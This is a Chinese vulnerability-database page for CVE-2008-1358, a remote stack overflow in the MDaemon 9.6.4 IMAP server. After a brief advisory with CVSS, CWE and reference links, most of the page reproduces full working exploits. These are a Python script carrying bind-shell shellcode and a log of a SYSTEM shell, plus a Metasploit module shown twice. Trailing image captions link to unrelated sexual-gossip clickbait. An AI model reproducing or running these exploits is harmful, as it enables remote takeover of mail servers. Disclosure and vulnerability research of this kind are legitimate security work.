| CVE-2008-1358 |
|
发布时间 :2008-03-17 13:44:00 | ||
| 修订时间 :2011-08-10 00:00:00 | ||||
| NMCOEP |
[原文]Stack-based buffer overflow in the IMAP server in Alt-N Technologies MDaemon 9.6.4 allows remote authenticated users to execute arbitrary code via a FETCH command with a long BODY.
[CNNVD]Alt-N MDaemon IMAP服务器FETCH命令远程栈溢出漏洞(CNNVD-200803-251)
MDaemon是一款基于Windows的邮件服务程序。
MDaemon的IMAP服务器在处理FETCH命令的参数数据时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制服务器。
如果远程攻击者向该服务发送的FETCH命令中的BODY数据项包含有超长的分段标识的话,就可以触发这个溢出,导致执行任意代码。但成功攻击要求拥有有效的用户凭据。
–
CVSS (基础分值)
| CVSS分值: | 6.5 | [中等(MEDIUM)] |
| 机密性影响: | PARTIAL | [很可能造成信息泄露] |
| 完整性影响: | PARTIAL | [可能会导致系统文件被修改] |
| 可用性影响: | PARTIAL | [可能会导致性能下降或中断资源访问] |
| 攻击复杂度: | LOW | [漏洞利用没有访问限制 ] |
| 攻击向量: | NETWORK | [攻击者不需要获取内网访问权或本地访问权] |
| 身份认证: | SINGLE_INSTANCE | [–] |
–
CWE (弱点类目)
| CWE-119 | [内存缓冲区边界内操作的限制不恰当] |
–
CPE (受影响的平台与产品)
| 产品及版本信息(CPE)暂不可用 |
–
OVAL (用于检测的技术细节)
| 未找到相关OVAL定义 |
–
官方数据库链接
–
其它链接及资源
|
http://xforce.iss.net/xforce/xfdb/41195 (UNKNOWN) XF mdaemon-hashcash-bo(41195) |
|
http://www.vupen.com/english/advisories/2008/0877/references (VENDOR_ADVISORY) VUPEN ADV-2008-0877 |
|
http://www.securitytracker.com/id?1019615 (UNKNOWN) SECTRACK 1019615 |
|
http://www.securityfocus.com/bid/28245 (UNKNOWN) BID 28245 |
|
http://www.milw0rm.com/exploits/5248 (UNKNOWN) MILW0RM 5248 |
|
http://www.be4mind.com/?q=node/256 (UNKNOWN) MISC http://www.be4mind.com/?q=node/256 |
|
http://secunia.com/advisories/29382 (VENDOR_ADVISORY) SECUNIA 29382 |
|
http://files.altn.com/MDaemon/Release/RelNotes_en.txt (UNKNOWN) CONFIRM http://files.altn.com/MDaemon/Release/RelNotes_en.txt |
–
漏洞信息
| Alt-N MDaemon IMAP服务器FETCH命令远程栈溢出漏洞 | |
| 中危 | 缓冲区溢出 |
| 2008-03-17 00:00:00 | 2008-09-05 00:00:00 |
| 远程 | |
| MDaemon是一款基于Windows的邮件服务程序。 MDaemon的IMAP服务器在处理FETCH命令的参数数据时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制服务器。 如果远程攻击者向该服务发送的FETCH命令中的BODY数据项包含有超长的分段标识的话,就可以触发这个溢出,导致执行任意代码。但成功攻击要求拥有有效的用户凭据。 |
|
–
公告与补丁
|
目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.altn.com |
–
漏洞信息 (5248)
|
MDaemon IMAP server 9.6.4 (FETCH) Remote Buffer Overflow Exploit (EDBID:5248) |
|
| windows | remote |
| 2008-03-13 | Verified |
| 143 | Matteo Memelli |
N/A |
[点击下载] |
#!/usr/bin/python
###############################################################################
#
# MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND UNIVERSAL EXPLOIT 0day
# Bug discovered and coded by Matteo Memelli aka ryujin
# http://www.gray-world.net http://www.be4mind.com
#
# Affected Versions : MDaemon IMAP server v9.6.4
# Tested on OS : Windows 2000 SP4 English
# Windows XP Sp2 English
# Windows 2003 Standard Edition Italian
# Discovery Date : 03/13/2008
#
#-----------------------------------------------------------------------------
#
# muts AS YOU CAN SEE, I ALWAYS MAINTAIN MY PROMISES! LOL
#
# Thx to Silvia for feeding my obsessions
# Thx to didNot at #offsec
# (yes he doesn't look like Silvia but he's a nice guy LOL)
# and to www.offensive-security.com
#
#-----------------------------------------------------------------------------
##############################################################################
# [+] Connecting to imap server...
# * OK test.local IMAP4rev1 MDaemon 9.6.4 ready
#
# [+] Logging in...
# 0001 OK LOGIN completed
#
# [+] Selecting Inbox Folder...
# * FLAGS (\Seen \Answered \Flagged \Deleted \Draft \Recent)
# * 16 EXISTS
# * 16 RECENT
# * OK [UNSEEN 1] first unseen
# * OK [UIDVALIDITY 1205411202] UIDs valid
# * OK [UIDNEXT 17] Predicted next UID
# * OK [PERMANENTFLAGS (\Seen \Answered \Flagged \Deleted \Draft)] .
# 0002 OK [READ-WRITE] SELECT completed
#
# [+] We need at least one message in Inbox, appending one...
# + Ready for append literal
#
# [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE?
# * 17 EXISTS
# * 17 RECENT
# 0003 OK [APPENDUID 1205411202 17] APPEND completed
#
# [+] DINNER'S READY: Sending Evil Buffer...
# [+] DONE! Check your shell on 192.168.1.195:4444
#
#
# matte@badrobot:~$ nc 192.168.1.195 4444
# (UNKNOWN) [192.168.1.195] 4444 (?) : Connection refused
# matte@badrobot:~$ nc 192.168.1.195 4444
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\MDaemon\APP>whoami
# whoami
# NT AUTHORITY\SYSTEM
#
# C:\MDaemon\APP>
##############################################################################
from socket import *
from optparse import OptionParser
import sys, time
print "[*********************************************************************]"
print "[* *]"
print "[* MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND EXPLOIT *]"
print "[* DISCOVERED AND CODED *]"
print "[* by *]"
print "[* MATTEO MEMELLI *]"
print "[* (ryujin) *]"
print "[* www.be4mind.com - www.gray-world.net *]"
print "[* *]"
print "[*********************************************************************]"
usage = "%prog -H TARGET_HOST -P TARGET_PORT -l USER -p PASSWD"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--target_host", type="string",
action="store", dest="HOST",
help="Target Host")
parser.add_option("-P", "--target_port", type="int",
action="store", dest="PORT",
help="Target Port")
parser.add_option("-l", "--login-user", type="string",
action="store", dest="USER",
help="User login")
parser.add_option("-p", "--login-password", type="string",
action="store", dest="PASSWD",
help="User password")
(options, args) = parser.parse_args()
HOST = options.HOST
PORT = options.PORT
USER = options.USER
PASSWD = options.PASSWD
if not (HOST and PORT and USER and PASSWD):
parser.print_help()
sys.exit()
# windows/shell_bind_tcp - 317 bytes
# http://www.metasploit.com
# EXITFUNC=thread, LPORT=4444
shellcode = (
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
"\xff\xd0"
)
s = socket(AF_INET, SOCK_STREAM)
print " [+] Connecting to imap server..."
s.connect((HOST, PORT))
print s.recv(1024)
print " [+] Logging in..."
s.send("0001 LOGIN %s %s\r\n" % (USER, PASSWD))
print s.recv(1024)
print " [+] Selecting Inbox Folder..."
s.send("0002 SELECT Inbox\r\n")
print s.recv(1024)
print " [+] We need at least one message in Inbox, appending one..."
s.send('0003 APPEND Inbox {1}\r\n')
print s.recv(1024)
print " [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE?"
s.send('SPAGHETTI AND PWNSAUCE\r\n')
print s.recv(1024)
print " [+] DINNER'S READY: Sending Evil Buffer..."
# Seh overwrite at 532 Bytes
# pop edi; pop ebp; ret; From mdaemon/HashCash.dll
EVIL = "A"*528 + "\xEB\x06\x90\x90" + "\x8b\x11\xdc\x64" + "\x90"*8 + shellcode + 'C'*35
s.send("A654 FETCH 2:4 (FLAGS BODY[" + EVIL + " (DATE FROM)])\r\n")
s.close()
print " [+] DONE! Check your shell on %s:%d" % (HOST, 4444)
# milw0rm.com [2008-03-13]
–
漏洞信息 (16482)
| MDaemon 9.6.4 IMAPD FETCH Buffer Overflow (EDBID:16482) | |
| windows | remote |
| 2010-06-15 | Verified |
| 0 | metasploit |
N/A |
[点击下载] |
##
# $Id: mdaemon_fetch.rb 9525 2010-06-15 07:18:08Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Imap
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
account credentials are required. Credit to Matteo Memelli
},
'Author' => [ 'Jacopo Cervini', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9525 $',
'References' =>
[
[ 'CVE', '2008-1358' ],
[ 'OSVDB', '43111' ],
[ 'BID', '28245' ],
[ 'URL', 'http://www.milw0rm.com/exploits/5248' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a])",
},
'Platform' => 'win',
'Targets' =>
[
[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
],
'DisclosureDate' => 'Mar 13 2008',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
req0="0002 SELECT Inbox\r\n"
res = raw_send_recv(req0)
if (res and res =~ /0002 OK/)
print_status("SELECT command OK")
end
req1="0003 APPEND Inbox {1}\r\n"
res = raw_send_recv(req1)
if (res and res =~ /Ready for append literal/)
print_status("APPEND command OK")
end
res = raw_send_recv(rand_text_alpha(20) + "\r\n")
if (res and res =~ /APPEND completed/)
print_status("APPEND command finished")
end
buf = rand_text_alpha_upper(528, payload_badchars)
buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
print_status("Sending payload")
sock.put(sploit)
handler
disconnect
end
end
-
漏洞信息 (F83208)
| MDaemon 9.6.4 IMAPD FETCH Buffer Overflow (PacketStormID:F83208) |
2009-11-26 00:00:00 |
| patrick,Jacopo Cervini metasploit.com |
exploit,overflow,imap |
CVE-2008-1358 |
[点击下载] |
|
This Metasploit module exploits a stack overflow in the Alt-N MDaemon IMAP Server version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP account credentials are required. Credit to Matteo Memelli |
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Alt-N MDaemon IMAP Server
version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
account credentials are required. Credit to Matteo Memelli
},
'Author' => [ 'Jacopo Cervini', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-1358' ],
[ 'OSVDB', '43111' ],
[ 'BID', '28245' ],
[ 'URL', 'http://www.milw0rm.com/exploits/5248' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a])",
},
'Platform' => 'win',
'Targets' =>
[
[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
req0="0002 SELECT Inbox\r\n"
res = raw_send_recv(req0)
if (res and res =~ /0002 OK/)
print_status("SELECT command OK")
end
req1="0003 APPEND Inbox {1}\r\n"
res = raw_send_recv(req1)
if (res and res =~ /Ready for append literal/)
print_status("APPEND command OK")
end
res = raw_send_recv(rand_text_alpha(20) + "\r\n")
if (res and res =~ /APPEND completed/)
print_status("APPEND command finished")
end
buf = rand_text_alpha_upper(528, payload_badchars)
buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)
sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"
print_status("Sending payload")
sock.put(sploit)
handler
disconnect
end
end
-
漏洞信息
43111 |
|
| MDaemon IMAP Server FETCH Command Remote Overflow | |
Remote / Network Access, Local / Remote |
Input Manipulation |
| Loss of Confidentiality, Loss of Integrity, Loss of Availability |
Upgrade |
| Exploit Public, Exploit Commercial |
Vendor Verified, Uncoordinated Disclosure |
-
漏洞描述
| A remote overflow exists in MDaemon IMAP Server. With a specially crafted FETCH command containing an overly long section specification in a BODY data item, an attacker can cause the server to crash resulting in a loss of integrity and availability. |
-
时间线
2008-03-13 |
Unknow |
| 2008-03-13 | 2008-03-14 |
-
解决方案
| Upgrade to version 9.6.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds. |
-
相关参考
|










![[八卦] 王婷婷—揭秘一个大三女生的性爱录像-微慑信息网-VulSee.com](http://free.86hy.com/crack/pic/1.jpg)
![[随笔]今天国际警察节-微慑信息网-VulSee.com](http://photo.sohu.com/20041017/Img222528326.jpg)

青云网
